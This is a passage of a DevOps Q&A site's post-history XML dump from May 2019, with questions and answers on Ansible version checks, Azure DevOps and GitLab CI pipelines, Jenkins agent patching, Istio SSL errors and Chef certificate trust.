  <row Id="23701" PostHistoryTypeId="5" PostId="8150" RevisionGUID="4bb73eab-5cd7-4123-8411-75bf6f03c0d8" CreationDate="2019-05-17T00:57:44.560" UserId="14958" Comment="deleted 176 characters in body" Text="Goal: Skip the host if version of custom software (non-rpm based) installed at remote host is greater than or equal to software version intended for upgrade.&#xD;&#xA;For all intents and purposes, this playbook (underneath) works well. &#xD;&#xA;&#xD;&#xA;Questions :&#xD;&#xA;&#xD;&#xA;1. How to formulate the code to get rid of [DEPRECATION WARNING] during runtime? &#xD;&#xA;&#xD;&#xA;2. Is there are better way to apply the same logic?&#xD;&#xA;```bash&#xD;&#xA;   ansible --version&#xD;&#xA;    ansible 2.7.10&#xD;&#xA;    python version = 2.7.5 &#xD;&#xA;```&#xD;&#xA;```bash&#xD;&#xA;#Remote software version&#xD;&#xA;cat /path/to/version_file.txt&#xD;&#xA;FullVersion=12.52.105.2112&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;#Playbook Install/upgrades firmare on remote nodes&#xD;&#xA;#&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;- hosts: &quot;RedHat_7_nodes&quot;&#xD;&#xA;  remote_user: test_user&#xD;&#xA;  connection: ssh&#xD;&#xA;  gather_facts: '{{ gather }}'&#xD;&#xA;&#xD;&#xA;# Next Section - Variables&#xD;&#xA;&#xD;&#xA;  vars_prompt:&#xD;&#xA;&#xD;&#xA;    - name: EXPECTED_REMOTE_SOFTWARE_VERSION&#xD;&#xA;      prompt: What is expected version of Software? (If remote server is already at that level, this playbook will skip it)&#xD;&#xA;      private: no&#xD;&#xA;&#xD;&#xA;  tasks:&#xD;&#xA;&#xD;&#xA;   - name: Check if the remote Software version is below &quot;{{ EXPECTED_REMOTE_SOFTWARE_VERSION }}&quot;&#xD;&#xA;     shell: grep FullVersion /path/to/version_file.txt  | awk -F = '{print $2}'&#xD;&#xA;     check_mode: no&#xD;&#xA;     register: CURRENT_INSTALLED_VERSION&#xD;&#xA;&#xD;&#xA;   - debug:&#xD;&#xA;       msg: &quot;{{ CURRENT_INSTALLED_VERSION }}&quot;&#xD;&#xA;   - meta: end_play&#xD;&#xA;     when: CURRENT_INSTALLED_VERSION.stdout | version(EXPECTED_REMOTE_SOFTWARE_VERSION,'&gt;=')&#xD;&#xA;&#xD;&#xA;   - name: Run the binary and upgrade since the installed version is lower than intended software version&#xD;&#xA;     shell: echo &quot;Run the binary and upgrade since the installed version is lower than intended software version &quot;&#xD;&#xA;     check_mode: no&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;# Runtime 1. Expected version is lower than installed version. Skip this host. No upgrade.&#xD;&#xA;&#xD;&#xA;ansible-playbook WebAgent_Install.yml -i inventory.txt --extra-vars &quot;gather=yes&quot;&#xD;&#xA;&#xD;&#xA;What is expected version of Software? (If remote server is already at that level, this playbook will skip it): 12.52.105.2111&#xD;&#xA;&#xD;&#xA;PLAY [RedHat_7_nodes] ************************************************************************************************************************************************************************&#xD;&#xA;&#xD;&#xA;TASK [Gathering Facts] ***********************************************************************************************************************************************************************&#xD;&#xA;ok: [joker7.cartoon.biz]&#xD;&#xA;&#xD;&#xA;TASK [Check if the remote Software version is below &quot;12.52.105.2111&quot;] ************************************************************************************************************************&#xD;&#xA;changed: [joker7.cartoon.biz]&#xD;&#xA;&#xD;&#xA;TASK [debug] *********************************************************************************************************************************************************************************&#xD;&#xA;ok: [joker7.cartoon.biz] =&gt; {&#xD;&#xA;    &quot;msg&quot;: {&#xD;&#xA;        &quot;changed&quot;: true,&#xD;&#xA;        &quot;cmd&quot;: &quot;grep FullVersion /path/to/version_file.txt | awk -F = '{print $2}'&quot;,&#xD;&#xA;        &quot;delta&quot;: &quot;0:00:00.013802&quot;,&#xD;&#xA;        &quot;end&quot;: &quot;2019-05-16 14:37:00.635365&quot;,&#xD;&#xA;        &quot;failed&quot;: false,&#xD;&#xA;        &quot;rc&quot;: 0,&#xD;&#xA;        &quot;start&quot;: &quot;2019-05-16 14:37:00.621563&quot;,&#xD;&#xA;        &quot;stderr&quot;: &quot;&quot;,&#xD;&#xA;        &quot;stderr_lines&quot;: [],&#xD;&#xA;        &quot;stdout&quot;: &quot;12.52.105.2112&quot;,&#xD;&#xA;        &quot;stdout_lines&quot;: [&#xD;&#xA;            &quot;12.52.105.2112&quot;&#xD;&#xA;        ]&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;[DEPRECATION WARNING]: Using tests as filters is deprecated. Instead of using `result|version` use `result is version`. This feature will be removed in version 2.9. Deprecation warnings can&#xD;&#xA; be disabled by setting deprecation_warnings=False in ansible.cfg.&#xD;&#xA;&#xD;&#xA;PLAY RECAP ***********************************************************************************************************************************************************************************&#xD;&#xA;joker7.cartoon.biz         : ok=3    changed=1    unreachable=0    failed=0&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;# Runtime - 2. Expected version is higher than installed version. Upgrade.&#xD;&#xA;&#xD;&#xA;ansible-playbook WebAgent_Install.yml -i inventory.txt --extra-vars &quot;gather=yes&quot;&#xD;&#xA;&#xD;&#xA;What is expected version of Software? (If remote server is already at that level, this playbook will skip it) [12.52.105.2112]: 12.52.105.2113&#xD;&#xA;&#xD;&#xA;PLAY [RedHat_7_nodes] ************************************************************************************************************************************************************************&#xD;&#xA;&#xD;&#xA;TASK [Gathering Facts] ***********************************************************************************************************************************************************************&#xD;&#xA;ok: [joker7.cartoon.biz]&#xD;&#xA;&#xD;&#xA;TASK [Check if the remote Software version is below &quot;12.52.105.2113&quot;] ************************************************************************************************************************&#xD;&#xA;changed: [joker7.cartoon.biz]&#xD;&#xA;&#xD;&#xA;TASK [debug] *********************************************************************************************************************************************************************************&#xD;&#xA;ok: [joker7.cartoon.biz] =&gt; {&#xD;&#xA;    &quot;msg&quot;: {&#xD;&#xA;        &quot;changed&quot;: true,&#xD;&#xA;        &quot;cmd&quot;: &quot;grep FullVersion /path/to/version_file.txt | awk -F = '{print $2}'&quot;,&#xD;&#xA;        &quot;delta&quot;: &quot;0:00:00.013155&quot;,&#xD;&#xA;        &quot;end&quot;: &quot;2019-05-16 14:35:49.364318&quot;,&#xD;&#xA;        &quot;failed&quot;: false,&#xD;&#xA;        &quot;rc&quot;: 0,&#xD;&#xA;        &quot;start&quot;: &quot;2019-05-16 14:35:49.351163&quot;,&#xD;&#xA;        &quot;stderr&quot;: &quot;&quot;,&#xD;&#xA;        &quot;stderr_lines&quot;: [],&#xD;&#xA;        &quot;stdout&quot;: &quot;12.52.105.2112&quot;,&#xD;&#xA;        &quot;stdout_lines&quot;: [&#xD;&#xA;            &quot;12.52.105.2112&quot;&#xD;&#xA;        ]&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;[DEPRECATION WARNING]: Using tests as filters is deprecated. Instead of using `result|version` use `result is version`. This feature will be removed in version 2.9. Deprecation warnings can&#xD;&#xA; be disabled by setting deprecation_warnings=False in ansible.cfg.&#xD;&#xA;&#xD;&#xA;TASK [Run the binary and upgrade since the installed version is lower than intended software version] ****************************************************************************************&#xD;&#xA;changed: [joker7.cartoon.biz]&#xD;&#xA;&#xD;&#xA;PLAY RECAP ***********************************************************************************************************************************************************************************&#xD;&#xA;joker7.cartoon.biz         : ok=4    changed=2    unreachable=0    failed=0&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23702" PostHistoryTypeId="4" PostId="8150" RevisionGUID="4bb73eab-5cd7-4123-8411-75bf6f03c0d8" CreationDate="2019-05-17T00:57:44.560" UserId="14958" Comment="deleted 176 characters in body" Text="Ansible to check version of software on remote hosts before install/upgrade" ContentLicense="CC BY-SA 4.0" />
  <row Id="23709" PostHistoryTypeId="2" PostId="8155" RevisionGUID="11b4eda9-27e6-420b-8ccf-dfa62e79527d" CreationDate="2019-05-17T10:10:07.617" UserId="14990" Text="I have a classic env. setup like following:&#xD;&#xA;&#xD;&#xA;I have 2 branches : Develop and Master.&#xD;&#xA;&#xD;&#xA;Is there any way in `azure devops` to setup the following **rule:**&#xD;&#xA;&#xD;&#xA; 1. When a deploy is succeeded on dev environment (defined in the&#xD;&#xA;    release pipeline of azure devops) **------&gt;** create automatically a `pull request` to merge **develop** into **Master**.&#xD;&#xA;    &#xD;&#xA;   &#xD;&#xA; 2. or the other one: if a `Build` of **develop branch** is succeded **-------&gt;**&#xD;&#xA;        create **automatically** a `pull request` to merge **develop into Master**.&#xD;&#xA;&#xD;&#xA;Any help will be appreciated." ContentLicense="CC BY-SA 4.0" />
  <row Id="23710" PostHistoryTypeId="1" PostId="8155" RevisionGUID="11b4eda9-27e6-420b-8ccf-dfa62e79527d" CreationDate="2019-05-17T10:10:07.617" UserId="14990" Text="CI/CD pipelines Azure devops automatic merge after deploy release" ContentLicense="CC BY-SA 4.0" />
  <row Id="23711" PostHistoryTypeId="3" PostId="8155" RevisionGUID="11b4eda9-27e6-420b-8ccf-dfa62e79527d" CreationDate="2019-05-17T10:10:07.617" UserId="14990" Text="&lt;git&gt;&lt;azure-devops&gt;&lt;build-pipeline&gt;&lt;azure-pipelines&gt;&lt;branch&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23715" PostHistoryTypeId="50" PostId="6881" RevisionGUID="3475288b-c644-4214-9329-3e9cbdb4ea6a" CreationDate="2019-05-17T13:02:45.777" UserId="-1" />
  <row Id="23716" PostHistoryTypeId="2" PostId="8157" RevisionGUID="35e0ec89-f895-4bea-85a6-4dcf71fb6d37" CreationDate="2019-05-17T14:01:03.907" UserId="11278" Text="##Situation&#xD;&#xA;&#xD;&#xA;My CI pipeline needs to do the following:&#xD;&#xA;&#xD;&#xA;- log into a VM and have access to a bash terminal&#xD;&#xA;- run a bash script that launches a Docker container with parameters (e.g. `-it` mode or providing the IP address of the machine that the tests will attack)&#xD;&#xA;- from within that Docker container, launch a series of tests. &#xD;&#xA;&#xD;&#xA;The Docker container is built in such a way that it maps the current directory of the VM from which I'm doing the `docker run`, and then it navigates to the tests folder and launches them. &#xD;&#xA;&#xD;&#xA;## What I currently have&#xD;&#xA;&#xD;&#xA;I created a GitLab runner in shell mode. I'm able to launch the container throughout the script but as soon as it succeeded, it exits the container and therefore I can't run my tests.&#xD;&#xA;&#xD;&#xA;## Constraints&#xD;&#xA;&#xD;&#xA;I don't have the Dockerfile of this docker image, only the container. I can't edit the file to provide the parameters in it. &#xD;&#xA;&#xD;&#xA;How could I run that docker container without having it to stop? I figured two ways of doing it but I didn't manage to make either of them work:&#xD;&#xA;&#xD;&#xA;1. **Configure the runner to work with these input parameters** → so far I didn't figure how to do this. In the `gitlab-runner register` all I seem to be able to do is to specify that this is a Docker container, I can't provide parameters on how to run the container.&#xD;&#xA;&#xD;&#xA;2. **Prevent the line from exiting** after having run the container successfully. This is a bash issue that I have been trying to fix but I can't seem to figure out how to do this.&#xD;&#xA;&#xD;&#xA;For what it's worth here is the content of the bash script I'm using to launch the container:&#xD;&#xA;&#xD;&#xA;    SCRIPT_DIR=$( cd &quot;$( dirname &quot;${BASH_SOURCE[0]}&quot; )&quot; &amp;&amp; pwd )&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    IMAGE=&quot;path/to/docker/image&quot;&#xD;&#xA;    &#xD;&#xA;    if [[ -z &quot;$@&quot; ]]; then&#xD;&#xA;            docker run --rm -it -u username -v $SCRIPT_DIR/../..:/project $IMAGE&#xD;&#xA;    else&#xD;&#xA;            for arg; do HOSTS+=&quot;--add-host=$arg &quot;; done&#xD;&#xA;            docker run --rm -it -u username -v $SCRIPT_DIR/../..:/project $HOSTS $IMAGE&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;And I call it like this:&#xD;&#xA;&#xD;&#xA;`./launch-docker-container.sh parameter:param_to_bind`&#xD;&#xA;&#xD;&#xA;**How could I launch a docker container from within a GitLab Shell runner?**" ContentLicense="CC BY-SA 4.0" />
  <row Id="23717" PostHistoryTypeId="1" PostId="8157" RevisionGUID="35e0ec89-f895-4bea-85a6-4dcf71fb6d37" CreationDate="2019-05-17T14:01:03.907" UserId="11278" Text="How to launch a docker container from within a GitLab Shell runner?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23718" PostHistoryTypeId="3" PostId="8157" RevisionGUID="35e0ec89-f895-4bea-85a6-4dcf71fb6d37" CreationDate="2019-05-17T14:01:03.907" UserId="11278" Text="&lt;docker&gt;&lt;gitlab-ci-runner&gt;&lt;bash&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23723" PostHistoryTypeId="2" PostId="8159" RevisionGUID="96ff308f-50ab-4530-9421-a8076032e4d5" CreationDate="2019-05-17T16:48:54.870" UserId="13111" Text="&gt; How to formulate the code to get rid of [DEPRECATION WARNING] during runtime? &#xD;&#xA;&#xD;&#xA;Simply by following the tip in the error message. Meanwhile, you can also update the test name (version as been deprecated for version_compare)&#xD;&#xA;```yaml&#xD;&#xA;when: CURRENT_INSTALLED_VERSION.stdout is version_compare(EXPECTED_REMOTE_SOFTWARE_VERSION,'&gt;=')&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&gt; Is there are better way to apply the same logic?&#xD;&#xA;&#xD;&#xA;I don't see anything wrong if it meets your current needs.&#xD;&#xA;&#xD;&#xA;Only remark: The first task is not idempotent. It will report change anytime it runs (because shell is supposed by default to change the remote system). Since your command is a simple grep that does not change anything, your can have the task report always ok by adding the option:&#xD;&#xA;```yaml&#xD;&#xA;changed_when: false&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23730" PostHistoryTypeId="50" PostId="5758" RevisionGUID="adce53c4-67cb-4985-b88c-b0b59ccef783" CreationDate="2019-05-17T20:02:55.610" UserId="-1" />
  <row Id="23731" PostHistoryTypeId="2" PostId="8162" RevisionGUID="d69df77e-3bb4-4e0a-9525-2632f0b5db81" CreationDate="2019-05-17T20:41:26.760" UserId="14996" Text="I've been working on an automated patching solution for some infrastructure in one of our AWS accounts. This AWS happens to host the Jenkins instance we use for CI/CD actions, among other things. &#xD;&#xA;&#xD;&#xA;Our instance runs off AWS EC2 instances and are persistent - basically they live long enough that they would be out of compliance if we never patched them. &#xD;&#xA;&#xD;&#xA;I have patched Jenkins slaves manually in the past, where the workflow looked something like this:&#xD;&#xA;&#xD;&#xA; - Log into Jenkins instance&#xD;&#xA; - Make sure there are no running jobs on the target node&#xD;&#xA; - Mark the target node as offline&#xD;&#xA; - Patch the target node&#xD;&#xA; - Log into Jenkins instance&#xD;&#xA; - Mark the node as online again&#xD;&#xA;&#xD;&#xA;This process involves interacting with the Jenkins instance itself. Since I want this solution to be automated, I don't want to have to manually log in and facilitate this process before and after patching. Right now, I have the ability to execute arbitrary bash code from the target node locally and I've been working on a way of using the target node to mark itself offline in some way, and right now my best bet looks like using the environment variables that Jenkins sets while it is running a job to determine whether or not the node is busy. &#xD;&#xA;&#xD;&#xA;That will solve the problem of the making sure the node isn't busy, but I have no idea how I will prevent it from accepting new jobs while automation patches the machine. I don't want to use API calls because I believe that would require me to put credentials on all of the Jenkins machines, which I am adverse to doing (Secrets management is a pain). Another possible method could be to prevent the Jenkins master from assigning the slave more tasks by shutting off the slave's SSH, but that sounds like a terrible idea.&#xD;&#xA;&#xD;&#xA;Anyone have any ideas as to how I could mark Jenkins slaves offline and online, with my only real tool being local bash execution on the slave itself? &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23732" PostHistoryTypeId="1" PostId="8162" RevisionGUID="d69df77e-3bb4-4e0a-9525-2632f0b5db81" CreationDate="2019-05-17T20:41:26.760" UserId="14996" Text="How to automate the process of patching Jenkins Slave instances in AWS" ContentLicense="CC BY-SA 4.0" />
  <row Id="23733" PostHistoryTypeId="3" PostId="8162" RevisionGUID="d69df77e-3bb4-4e0a-9525-2632f0b5db81" CreationDate="2019-05-17T20:41:26.760" UserId="14996" Text="&lt;jenkins&gt;&lt;amazon-web-services&gt;&lt;jenkins-pipeline&gt;&lt;operations&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23735" PostHistoryTypeId="50" PostId="5777" RevisionGUID="9b262125-4fb1-49e7-b50a-9655231d82cb" CreationDate="2019-05-17T23:01:05.170" UserId="-1" />
  <row Id="23744" PostHistoryTypeId="5" PostId="8138" RevisionGUID="14c0ba81-b1f3-4375-87cb-03cbf3371f3c" CreationDate="2019-05-18T09:33:46.797" UserId="4325" Comment="Grammatical mistakes and clarity" Text="I have some Codeigniter projects on some domains (on the same server), and the project is already in git. &#xD;&#xA;&#xD;&#xA;How to ensure server gets the new update when I push the code to git?  &#xD;&#xA;&#xD;&#xA;Can anyone explain to me step by step?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23745" PostHistoryTypeId="24" PostId="8138" RevisionGUID="14c0ba81-b1f3-4375-87cb-03cbf3371f3c" CreationDate="2019-05-18T09:33:46.797" Comment="Proposed by 4325 approved by 46 edit id of 1000" ContentLicense="CC BY-SA 4.0" />
  <row Id="23749" PostHistoryTypeId="5" PostId="8159" RevisionGUID="4a578f66-c881-478b-a686-e1f30df84e47" CreationDate="2019-05-18T12:58:52.370" UserId="13111" Comment="Fix deprecated filter name." Text="&gt; How to formulate the code to get rid of [DEPRECATION WARNING] during runtime? &#xD;&#xA;&#xD;&#xA;Simply by following the tip in the error message.&#xD;&#xA;```yaml&#xD;&#xA;when: CURRENT_INSTALLED_VERSION.stdout is version(EXPECTED_REMOTE_SOFTWARE_VERSION,'&gt;=')&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&gt; Is there are better way to apply the same logic?&#xD;&#xA;&#xD;&#xA;I don't see anything wrong if it meets your current needs.&#xD;&#xA;&#xD;&#xA;Only remark: The first task is not idempotent. It will report change anytime it runs (because shell is supposed by default to change the remote system). Since your command is a simple grep that does not change anything, your can have the task report always ok by adding the option:&#xD;&#xA;```yaml&#xD;&#xA;changed_when: false&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23751" PostHistoryTypeId="2" PostId="8165" RevisionGUID="600cf126-5565-432f-afa2-f3603e779c63" CreationDate="2019-05-18T19:19:25.697" UserId="15008" Text="I'm trying to write a declarative pipeline code that accepts a map and create a pipeline. I can able to achieve sequential stages or parallel stages but facing problems while making a pipeline that contains sequential stages inside parallel stages.&#xD;&#xA;&#xD;&#xA;The input data would be Map&lt;String, List&gt;. Each list in the map should run parallel and the items inside the list corresponding to each key should run in sequentially.&#xD;&#xA;&#xD;&#xA;example data : [1:[11,12], 2:[21,22], 3:[31,32]]&#xD;&#xA;&#xD;&#xA;Am using Jenkins 2.164.3&#xD;&#xA;&#xD;&#xA;The output should be &#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/QOt6c.jpg" ContentLicense="CC BY-SA 4.0" />
  <row Id="23752" PostHistoryTypeId="1" PostId="8165" RevisionGUID="600cf126-5565-432f-afa2-f3603e779c63" CreationDate="2019-05-18T19:19:25.697" UserId="15008" Text="How to write a dynamic declarative pipeline that contains sequential job inside parallel job" ContentLicense="CC BY-SA 4.0" />
  <row Id="23753" PostHistoryTypeId="3" PostId="8165" RevisionGUID="600cf126-5565-432f-afa2-f3603e779c63" CreationDate="2019-05-18T19:19:25.697" UserId="15008" Text="&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23754" PostHistoryTypeId="50" PostId="6874" RevisionGUID="479687d3-a1fb-4100-9791-8b47bb7bc21d" CreationDate="2019-05-19T00:03:15.670" UserId="-1" />
  <row Id="23757" PostHistoryTypeId="50" PostId="6899" RevisionGUID="d4ed6e66-27fc-4a0c-8f10-70c49ebe9cfe" CreationDate="2019-05-19T03:03:20.883" UserId="-1" />
  <row Id="23758" PostHistoryTypeId="2" PostId="8166" RevisionGUID="4f0fc56e-2d72-48f1-b723-814acbc62d55" CreationDate="2019-05-19T06:29:38.470" UserId="12833" Text="Depens on how you hosting your application in production&#xD;&#xA;&#xD;&#xA; 1. If non docker: use [capistrano][1] or other symlink deployment tool&#xD;&#xA; 2. If docker: use `docker swarm deploy` to update your containers&#xD;&#xA; 3. Then you need just add [.gitlab-ci.yml][2] file to your project directory and write some deployment scripts.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://capistranorb.com&#xD;&#xA;  [2]: https://docs.gitlab.com/ee/ci/quick_start/#creating-a-gitlab-ciyml-file" ContentLicense="CC BY-SA 4.0" />
  <row Id="23759" PostHistoryTypeId="2" PostId="8167" RevisionGUID="0d39350a-0fa0-4233-9b4d-99e09346d5c5" CreationDate="2019-05-19T09:00:35.870" UserId="12348" Text="I try to setup an aws load balancer (ELB) with SSL follow the instruction at [#6566][1]&#xD;&#xA;&#xD;&#xA;Certificate was attached on ELB.&#xD;&#xA;&#xD;&#xA;However, I got the issue &quot;**upstream connect error or disconnect/reset before headers. reset reason: connection termination**&quot; when trying to access our web on browser.&#xD;&#xA;&#xD;&#xA;Our setup without SSL has been worked before.&#xD;&#xA;&#xD;&#xA;I use the custom values.yaml to install the istio (helm template):&#xD;&#xA;&#xD;&#xA;helm template ./istio/install/kubernetes/helm/istio --name istio --namespace istio-system --values ./mesh/values.yaml | kubectl apply -f -&#xD;&#xA;&#xD;&#xA;I have inserted below annotations to the `gateways` tag:&#xD;&#xA;&#xD;&#xA;    istio-ingressgateway:&#xD;&#xA;        serviceAnnotations: &#xD;&#xA;          service.beta.kubernetes.io/aws-load-balancer-ssl-cert: &quot;arn:aws:acm:ap-southeast-1:xxxxx:certificate/my-crt&quot;&#xD;&#xA;          service.beta.kubernetes.io/aws-load-balancer-backend-protocol: &quot;http&quot;&#xD;&#xA;          service.beta.kubernetes.io/aws-load-balancer-ssl-ports: &quot;https&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here is my `gateway.yaml`:&#xD;&#xA;&#xD;&#xA;    apiVersion: networking.istio.io/v1alpha3&#xD;&#xA;    kind: Gateway&#xD;&#xA;    metadata:&#xD;&#xA;      name: istio-gateway&#xD;&#xA;    spec:&#xD;&#xA;      selector:&#xD;&#xA;        istio: ingressgateway #default istio ingressgateway&#xD;&#xA;      servers:&#xD;&#xA;      - port:&#xD;&#xA;          number: 80&#xD;&#xA;          name: http-istio-gateway&#xD;&#xA;          protocol: HTTP&#xD;&#xA;        hosts:&#xD;&#xA;        - &quot;*&quot;&#xD;&#xA;        tls:&#xD;&#xA;          httpsRedirect: true&#xD;&#xA;      - port:&#xD;&#xA;          number: 443&#xD;&#xA;          name: https-istio-gateway&#xD;&#xA;          protocol: HTTP&#xD;&#xA;        hosts:&#xD;&#xA;        - &quot;*&quot;&#xD;&#xA;    ---&#xD;&#xA;    apiVersion: networking.istio.io/v1alpha3&#xD;&#xA;    kind: VirtualService&#xD;&#xA;    metadata:&#xD;&#xA;      name: api-gateway&#xD;&#xA;    spec:&#xD;&#xA;      gateways:&#xD;&#xA;      - istio-gateway&#xD;&#xA;      hosts:&#xD;&#xA;      - &quot;*&quot;&#xD;&#xA;      http:&#xD;&#xA;      - match:&#xD;&#xA;        - uri:&#xD;&#xA;            prefix: /socket.io/&#xD;&#xA;        route:&#xD;&#xA;        - destination:&#xD;&#xA;            host: api-gateway-ws.default.svc.cluster.local&#xD;&#xA;            port:&#xD;&#xA;              number: 5001&#xD;&#xA;      - match:&#xD;&#xA;        - uri:&#xD;&#xA;            prefix: /&#xD;&#xA;        route:&#xD;&#xA;        - destination:&#xD;&#xA;            host: api-gateway.default.svc.cluster.local&#xD;&#xA;            port:&#xD;&#xA;              number: 5000&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/istio/istio/issues/6566" ContentLicense="CC BY-SA 4.0" />
  <row Id="23760" PostHistoryTypeId="1" PostId="8167" RevisionGUID="0d39350a-0fa0-4233-9b4d-99e09346d5c5" CreationDate="2019-05-19T09:00:35.870" UserId="12348" Text="Istio: upstream connect error or disconnect/reset before headers. reset reason: connection termination" ContentLicense="CC BY-SA 4.0" />
  <row Id="23761" PostHistoryTypeId="3" PostId="8167" RevisionGUID="0d39350a-0fa0-4233-9b4d-99e09346d5c5" CreationDate="2019-05-19T09:00:35.870" UserId="12348" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23763" PostHistoryTypeId="2" PostId="8168" RevisionGUID="9d60218d-f92e-46f2-a55d-c7fd5c087c2c" CreationDate="2019-05-19T23:24:51.783" UserId="15023" Text="Every few hours my Laravel website on AWS Elastic Beanstalk crashes and throws the following error:&#xD;&#xA;&#xD;&#xA; - [Sun May 19 13:06:13.436195 2019] [php7:error] [pid 3431] [client]&#xD;&#xA;   PHP Fatal error:  require(): Failed opening required &#xD;&#xA;   '/var/app/current/vendor/composer/../symfony/polyfill-php70/bootstrap.php'&#xD;&#xA;   (include_path='.:/usr/share/pear7:/usr/share/php') in &#xD;&#xA;   /var/app/current/vendor/composer/autoload_real.php on line 66&#xD;&#xA;   &#xD;&#xA; -  [Sun May 19 13:06:31.485081 2019] [php7:warn] [pid 3459] [client] PHP&#xD;&#xA;   Warning: &#xD;&#xA;   require(/var/app/current/vendor/composer/../symfony/polyfill-php70/bootstrap.php):&#xD;&#xA;   failed to open stream: No such file or directory in&#xD;&#xA;   /var/app/current/vendor/composer/autoload_real.php on line 66&#xD;&#xA;&#xD;&#xA;In-order to fix the error, I either go to /var/www/html or /var/app/current and use `composer.phar install` to fix the packages installed.&#xD;&#xA;&#xD;&#xA;Unfortunately this doesn't cut it - once the issue is fixed, a few hours later it'll be broken again with the same errors.&#xD;&#xA;&#xD;&#xA;I've tried to fix the packages associated with the deployed zip file but this doesnt fix it either.&#xD;&#xA;&#xD;&#xA;Is there something i'm misunderstanding about the AWS architecture that causes this to occur?&#xD;&#xA;&#xD;&#xA;I'm a newbie to AWS to any help would be greatly appreciated :) " ContentLicense="CC BY-SA 4.0" />
  <row Id="23764" PostHistoryTypeId="1" PostId="8168" RevisionGUID="9d60218d-f92e-46f2-a55d-c7fd5c087c2c" CreationDate="2019-05-19T23:24:51.783" UserId="15023" Text="AWS Site crashes every few hours" ContentLicense="CC BY-SA 4.0" />
  <row Id="23765" PostHistoryTypeId="3" PostId="8168" RevisionGUID="9d60218d-f92e-46f2-a55d-c7fd5c087c2c" CreationDate="2019-05-19T23:24:51.783" UserId="15023" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23768" PostHistoryTypeId="5" PostId="20" RevisionGUID="6894815b-e856-4600-bef9-46b4c397cafd" CreationDate="2019-05-20T08:44:18.390" UserId="13" Comment="added 324 characters in body" Text="There's a couple of way to achieve the result:&#xD;&#xA;&#xD;&#xA; 1. Chef have a `trusted_dir` to allow adding certificate to the trusted list. the [documentation](https://docs.chef.io/chef_client_security.html#ssl-certificates) has a lot of details about it. Adding your CA certificate to this directory would solve the problem. `knife` has it also in a slightly different path as per it's own [documentation](https://docs.chef.io/knife_ssl_fetch.html)&#xD;&#xA;&#xD;&#xA; 2. Chef use its own CA certiticate list in `/opt/chef/embedded/ssl/certs/cacert.pem`. &#xD;&#xA;You can add your CA certificate at end of this list to trust it. &#xD;&#xA;&#xD;&#xA;The second option has an advantage of allowing to export the environment variable `SSL_CERT_FILE` pointing to chef `cacert.pem` to allow most of the tools using `openssl` library to know your CA certificate.&#xD;&#xA;&#xD;&#xA;For the case of a self signed certificate on the chef server (or another server used as target in a recipe), `knife ssl_fetch` would allow all knife commands to work.&#xD;&#xA;&#xD;&#xA;To add the server certificate to the cacert.pem for the case 2. above, you can use the following command:&#xD;&#xA;&#xD;&#xA;    # For a self signed CA certiticate&#xD;&#xA;    openssl s_client -showcerts -connect &lt;YOUR_CHEF_SERVER&gt;:443 &lt;/dev/null 2&gt;/dev/null|openssl x509 -outform PEM &gt;&gt; /opt/chefdk/embedded/ssl/certs/cacert.pem&#xD;&#xA;    &#xD;&#xA;    # For an internal CA signed certificate:&#xD;&#xA;    openssl s_client -showcerts -verify 5 -connect &lt;YOUR_CHEF_SERVER&gt;:443 &lt;/dev/null 2&gt;/dev/null | awk '/BEGIN/,/END/{if(/BEGIN/){a++}; certs[a]=(certs[a] &quot;\n&quot; $0)}; END {print certs[a]}' &gt;&gt; /opt/chefdk/embedded/ssl/certs/cacert.pem&#xD;&#xA;&#xD;&#xA;    export SSL_CERT_FILE=/opt/chefdk/embedded/ssl/certs/cacert.pem&#xD;&#xA;&#xD;&#xA;openssl command is included in chef-dk, so this can be done under windows also, the patch change to `c:\opscode\`instead of `/opt/` and to export the environment variable use `set SSL_CERT_FILE=...` (with `/P` to add it permanently to your environment)" ContentLicense="CC BY-SA 4.0" />
  <row Id="23769" PostHistoryTypeId="2" PostId="8169" RevisionGUID="90974dc4-fd8b-4ab9-a6ee-74475b3c236d" CreationDate="2019-05-20T11:02:38.583" UserId="5674" Text="I'm struggling with design for configuration management for a complex on-premise enterprise application with lots of moving parts. While it's fun and joy to go through this, there are lots of questions I'm really not sure of, and I need some source to refer to as best practices or just revise my design solution.&#xD;&#xA;&#xD;&#xA;It might be I'm really bad at searching the internet, but whatever materials I've found, it's all about very basic examples, like &quot;let's configure yet another web application behind nginx&quot;. Which feels like writing microservice application based on &quot;hello world&quot; example.&#xD;&#xA;&#xD;&#xA;Example of issues I'm struggling with:&#xD;&#xA;&#xD;&#xA;  - Configuration usability vs configuration complexity&#xD;&#xA;  - Self-written solution vs open-source adaptation vs combination of those two&#xD;&#xA;  - Pre-compiled configuration package vs 